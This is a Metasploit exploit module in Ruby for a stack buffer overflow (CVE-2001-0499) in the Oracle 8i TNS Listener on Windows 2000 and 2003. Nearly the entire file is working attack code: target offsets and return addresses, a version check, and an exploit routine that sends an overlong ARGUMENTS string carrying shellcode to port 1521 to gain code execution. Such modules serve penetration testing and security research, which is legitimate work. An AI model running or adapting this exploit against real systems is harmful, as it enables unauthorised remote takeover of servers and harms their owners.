metasploit-framework/modules/exploits/windows/oracle/tns_arguments.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GoodRanking
include Msf::Exploit::Remote::TNS
def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle 8i TNS Listener (ARGUMENTS) Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Oracle 8i. When
sending a specially crafted packet containing a overly long
ARGUMENTS string to the TNS service, an attacker may be able
to execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2001-0499' ],
[ 'OSVDB', '9427'],
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[ 'BID', '2941' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\% ()",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2000)', { 'Offset' => 6383, 'Ret' => 0x60a1e154 } ],
[ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2003)', { 'Offset' => 6379, 'Ret' => 0x60a1e154 }] ,
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 28 2001'))
register_options([Opt::RPORT(1521)], self.class)
end
def check
connect
version = "(CONNECT_DATA=(COMMAND=VERSION))"
pkt = tns_packet(version)
sock.put(pkt)
sock.get_once
res = sock.get_once(-1, 1)
disconnect
if ( res and res =~ /32-bit Windows: Version 8\.1\.7\.0\.0/ )
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return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
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end
def exploit
connect
buff = rand_text_alpha_upper(target['Offset'] - payload.encoded.length) + payload.encoded
buff << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
buff << [0xe8, -550].pack('CV') + rand_text_alpha_upper(966)
sploit = "(CONNECT_DATA=(COMMAND=STATUS)(ARGUMENTS=#{buff}))"
pkt = tns_packet(sploit)
print_status("Trying target #{target.name}...")
sock.put(pkt)
handler
disconnect
end
end